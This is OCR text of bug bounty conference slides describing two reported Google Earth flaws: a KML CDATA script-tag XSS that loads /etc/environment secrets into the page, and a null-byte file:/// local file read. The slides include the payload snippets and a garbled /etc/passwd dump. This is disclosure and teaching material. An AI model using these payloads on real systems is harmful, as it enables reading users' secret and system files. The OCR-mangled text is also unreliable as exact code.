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agenda

omespino@localh@st:~/S cat agenda.txt

« Introduction

« Case study no.1
« Case study no.2
+ Lessons learned
- Q&A
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All information included in this medium is for educational and
professional purposes, in no case the conference or neither I,
are responsible for any misuse of this information.

Anti recon by omespino@localh@st:~/$



introduction

[ motivation: challenge, fun and profit |

And everybody is using nuclei, ffuf and httpx,
with --max-threads=10,000,000 and AI AI AI AI AI
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CALL ME ROMANTIC..

BUT I STILL BELIEVE IN
HANDCRAFT HACKING
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CASE STUDY
NO.
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Google Earth /etc/environment
exfiltration
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Google Earth /etc/environment exfiltration

Part @ - XML everywhere

wg - B3

SOAP REQUEST

Anti recon by omespino@localh@st:~/$



Google Earth /etc/environment exfiltration

Part 1 - KML / KMZ files

<?xml version="1.0" encoding="UTF-8"?7>
<kml xmlns="http://www.opengis.net/kml/2.2" xmlns:gx="http://www.google.com/kml/ext/2.2" xmlns:kml="http://www.opengis.net/kml/2.2" xmlns:atom="
http://www.w3.0rg/2005/Atom">
<Document>
<name>NAME</name>
<StyleMap id="m_ylw-pushpin">
<Pair>
<key>normal</key>
<styleUrl>#s_ylw-pushpin</styleUrl>
</Pair>
<Pair>
<key>highlight</key>
<styleUrl>#s_ylw-pushpin_hl</styleUrl>
</Pair>
</StyleMap
<Placemark>
<name>placemark</name>

Main format on Google Earth files is KML/KMZ —> XML
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Google Earth /etc/environment exfiltration

Part 2 - <script> tag inside <![CDATA[]]> tag

<P lacemark>
<name>placemark</name>
<description><! [CDATAI[
<script alert('XSS')</script>
]1></description>
<stvleUr1>#m vlw-pushpbin</stvleUrl>

In some contexts, CDATA can load <script> tags — XSS

Location (Context):
file:///Users/omespino/Desktop/etc_environment.kml
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Google Earth /etc/environment exfiltration

Part 3 - /etc/environment on linux has javascript format

Since Google earth has file:/// context, you can load /etc/environment as JS file with the
<script> tag

<script src=filei../uofeeleofeufeu/e.fOEC/ENNIrONMENt></SCript>

File: /etc/environment

PATH="/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin"
JAVA_HOME="/opt/jre/bin"

SUPER_SECRET_VAR="TOP_SECRET"

AWS_KEY="OWNED"

PODNPRE

And then the vars are loaded in the DOM and you could send them wherever you want.

* In macOS does not work because quotes, only in did work in Linux
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Google Earth /etc/environment exfiltration

Actual
report

APssPoONs 3!
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http://www.youtube.com/watch?v=ZMBbnALLRjU

Google Earth /etc/environment exfiltration

10S/Android
(html5 apis)
Variation

Google  (wEmAITAOW . .

Anti recon by omespino@localh@st:~/$


http://www.youtube.com/watch?v=2OKXDyfOhHk

CASE STUDY
NO. 2
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Google Earth

Google Earth arbitrary local file
read on Windows, Linux and macOS

Anti recon by omespino@localh@st:~/$



Google Earth arbitrary local file read

Part 1 - Any polygon has information and description with HTML support, only "safe" tags
like rich text, hyperlinks or even images

It has a simple Safari webview sandboxed and sanitized
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Google Earth arbitrary local file read

Part 2 - If you select "Add local image", it uses file:/// schema, so if you combine hyperlinks
with file:///, you should be able to navigate to any local file, but no so fast

"4a\\ G

Local Read

Name: |Arbitrary File Local Read

& Allow this folder to be expanded
Show contents as options (radio button selection)

Style, Color ~ View  Altitude
Add link... Add web image... Add local image... Web Inspector -

<a href="https:/fbugcon.org/x">http://bugcon.org/</a> Elements  Resources  Network  Sources  Timeline  Profiles  Audits |

© Failed to load resource: Frame load interrupted by policy change
<img style="max-width:500) “fle:/J/Users/sun/Desktopflogo_bugcon_2022.jpeg" |

<a href="file://fetc/passwd">etc_passwd</a>

Q © <topframe>v <page context>v () | Errors Warnings

There is a policy that blocks any file to be loaded, after some testing I was able to load
successfully images files (jpg, png, gif) and HTML files
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Google Earth arbitrary local file read

Part 3 - So here it comes, our friend NULL byte (URL encoded %00) to the rescue, since it loads
any file that ends in .html, it would be able to load file:///etc/passwd%00.html

Back to Google Earth @ Open in Google Chrome

## # User Database # # Note that this file is consulted directly only when the system is runnlng # in slngle-user mode. At other times this information is provided by # Open Directory. # # See
leged User:/var/empty:/usr/bin/false root:*: System Administratorz/var/root:/bin/sh
Ilvarlspool/uucpJusv/sbmluucloo _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
Morkdmsv/bml'alse |ns(allass\s(an 25 Ins(ell Assistant:var/empty/usr/bin/false _Ip: rinting Services:/var/spool/cups:/usribin/false
lspoonosﬂliusr/hmlfalse SCS( ervice Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enroliment
Semcejvavlemm usribinffalse _appstore:*:33:33:Mac App Store Servnce}var/dblappslore/usrlbm/!alse mexalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false
_appleevent: 5:AppleEvents Daemnn/var/emptylusrlbln/false _ge eo Services Daemon:/var/db/geod-/usribin/false _devdocs: Developer
Name: Arbitrary File Local Read Documentationzivar/empty:/usr/bin/false _sandbox 0:Seatbelt: /var/empty usvlbln/'alse _mdnsresponder. 65 mDNSResponderjvar/emp!y/usr/blnllalse ard:*
Desklop:Avar/empty:/ustibin/false _www. :World Wide Web Server:/Library/WebServer-/usrbin/false _epy 71:Apple Events Userlvar/empty/usr/blnﬂalse ove
2 Allow this folder to be expanded Server:ivar/empty-/usribinffalse _svn: SVN Server:/var/empty/usr/bin/false _m: MySQL Server/var/empuyjusr/hmnal shd.
Show contents as options (radio button selection) :/var/empty:/usr/bin/false _q( QuickTime Streaming Serverjvar/emptyjusrlblnlfalse :Cyrus Administratol o eamen,
E :83:AMaVi
- - *:84: ar/empty: 87 pplication Ownev :Nvar/empt inffalse
Style, Color ~ View  Altitude indowserve B'BB‘W‘n o) z Just T :89: ) i *:91:91: arlempty-/usribinffalse
i 2:SecurityAgent:Avar/db/securityagent:/usribin/false _ calendar *:93:93: alendar/varlemmy/usrlbmlielse
Add link... Add web image... Add local image... .94 4TeamsServer/varIteamsserver/usrlbln/false _update_sharing: Update Sharing:/ Nar/empty /usr/bln/lalse _installer:*:96:-2:l stalIer./var/empiy/usr/bmnalse
:97:97:ATS Server:var/empty:/usribin/false _ftp:*:98:-2:FTP Daemanlvar/emp(y]usrlblnlfal inknown:*:99:99:Unknown User:/var/empty-/usr/bin/fal
e . o 00' 00:Software Update Servll:eJvar/db/saﬁwareupdale/usrlbln/'alse coreaudiod:*:202:202:Core Audio Daemon)var/emp(ylusrlblnllalse
<a href="https://bugcon.org/x">http://bugcon.org/</a> - 20! Screensaverlvar/emptyjusr/blnﬂalse |ocationd:*:205:205:Location Daemn/var/db/luca(lond Jusriin/false _trustevaluationagent:*:208:208:Trust Evaluatlon
X usrlbln/lalse _timezone: :AutoTimeZoneDaemon:/var/empty:/usr/bin/false _lda 211:Local Delivery Agent:/var/empty-/usr/binffalse _cvmsroot:*:212:212:CVMS
<img style="max-width:500px;" src="file:///Users/sun/Desktop/logo_bugcon_2022.jpeg"> Roof sr/blnllalse usbmux 3 3 Phone OS Devlce Helper:~var/db/lockdown:/usr/bin/false doveoot Dovecot Administrator-/var/empty-/usr/bin/false
j0:+:215:21 Jempty:/usr/bin/false _postgres:*: ostgreSQL Server:/var/empty:/usr/binffalse _krbtgt:*:217:-2:Kerberos Ticket Granting
<a href="file///etc/passwd%00.html">etc_passwd</a> cke( r/empt usr/bln/la(se kadmln admi 1 Kerberos Admln ServlceJvar/emplyjusvlbm/false kadmin_changepw:*:219:-2:Kerberos Change Password
i leb Auth Server:/var/empty:/usr/bin/false
1I:*:227: ovecot Authentication:var/empty:/usribin/false
ar/em ernet AVB Device Daemon:/ lempty/usrlbln/false krb_ krbtg :*:230: 20pen Directory
Kerberos Tn:kel Granung Ticket:var/empty: /usr/bln/'alse krb kadmin:*:231 :Open Dlrectury Kerberos Admin Service:/var/empty-/usr/binffalse _krb_t cha epw :232:-2:0pen Directory
Kerberos Change Password Service:ivar/empty:/ust/bin/false _krb_kerberos:*:233:-2:Open Directory Kerberos:ivarlempty:/u sr/bln/!alse _krb_ ancn mous:* en Directory Kerberos
Anonymuus/var/emp'y/usrlbinllalse assetcache:*:235:235:Asset Cache Service: ai/empty Jusr/bin/false _coremediaiod:*:236:236:Core Media DaemonJvar/emptylusr/mnl’alse
_launchservice: 19:239: Iaunchservlr,esdjvarempiyjusm:un/false iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false _distnote:’ 241 :241:DistNote:var/empty:/usr/bin/false
_nsurlsessiond:’ .242 242:NSURLSession D: emon: :Nar/db/nsurlsessiond:/usribin/false dlspl %pohcyd 244:244:Display Follc DaemonI\Iar/empty.lusrlblnllalse astris:*:245:245:Astris
: \ccount: Nar/emptylusv 47:247:Game Controller Daemon:/var/empty:
49 n Demand Resource Daemon:/var/d| demand/usv/bml'alsa _xserverdocs:
XY: xy ar/empty:/usr/bin/false _mobileasset:*:253:253:MobileAsset User:/var/m:
54:Find My Device Daemon:Avar/db/findmydevice:/usr/bin/false _datadetectors:*:257:257: Ds(aDe(ectorslvarldb/datade|ec(ovslusr/b in/false
liveagent/var/empty:/usr/binfalse _ctk 59:25! ctkd Acoounuvar/empw/usrlbm/false applep: 260:260:applepay Account:/var/db/applepay:/usr/binffalse
2:262: ia [0 Assistants User /var/db/cmmdalassnslams Jusr/bin/false
a yt .263:Analytics DaemunJvar/dblanalytlcsd/usr/bm/lalse _fpsd 65'265 PS Daemon:Avar/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync
Dbt maart yd: oximity and Ranging Daemnnjvav/db/nearhyd/usr/bln/lalse
_reportmemoryexception:*:269:269; eponMemoryExcepllunjva!ldblrepoﬂmemo exception:/usr/bin/false _driverkit: :270:DriverKit:Avar/empty:/usr/bin/false
_diskimagesiod:*:271:271:Diskimages IO Daemonlvarldb/dlsklmag%lodJusrlbln false Icgd :272:Log Daemon:/var/dbidiagnostics-/usr/bin/false _appinstalld:*:273:273:App Install
Daemon!var/db/applnstalld lusr/binffalse _installcoordinationd:*:274:274:Install Coordination aemon:ivar db/ns(allcoovdlnanondJusv/blnlfalse _demod:*:275:275:Demo
Daemon:/var/empty-/usr/binffalse _rmd:*:277:277:Remote Managemem Daamonjvar/db/rmd Jusr/binffalse _accessoryupdater:*:278:278:Accessory Update
Daemon:/var/db/accessoryupdater-/usribin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemol ldb/knowledgegraphd/usrlbmﬂalse ccoreml:*:280:280: CorsML
Services:/var/empty-/usribin/false _sntpd:*:281:281:SNTP ervarDaemonlvar/emply/usr/bm/false trustd:*:282:282:trustd /var/empty/usr/bin/false _darwindaemon:*:284:28
Daemon/var/db/darwindaemon/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:Avar/empty:/ /usr/blnﬁalse _oahd:*:441:441:0AH DaemonJvar/empty/usr/bmllalse

It worked on Linux and macOS with file:///etc/passwd%00.html
And Windows with file:///c:/windows/system32/drivers/etc/hosts%00.html
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Google Earth arbitrary local file read

Actual
report
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http://www.youtube.com/watch?v=HBk8DaRCCFE

lessons learned

omespino@localhB@st:~/S cat lessons_learned.txt

- focus

- face your apps (fears) directly, almost nobody goes directly to
the target instead poking hundreds subdomains

- keep it simple never underestimate the basics
- think outside of the box (I know, such a cliché)
« do not rush - it take times

« avoid burnouts - go outside, hang up with family and friends

read read read read read read (twitter #bugbounty #writeup)
repeat
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results

- A lot of fun

- /etc/environment loads / acts

a as javascript object
woooeoot??

- ~ X, XXX USD profit
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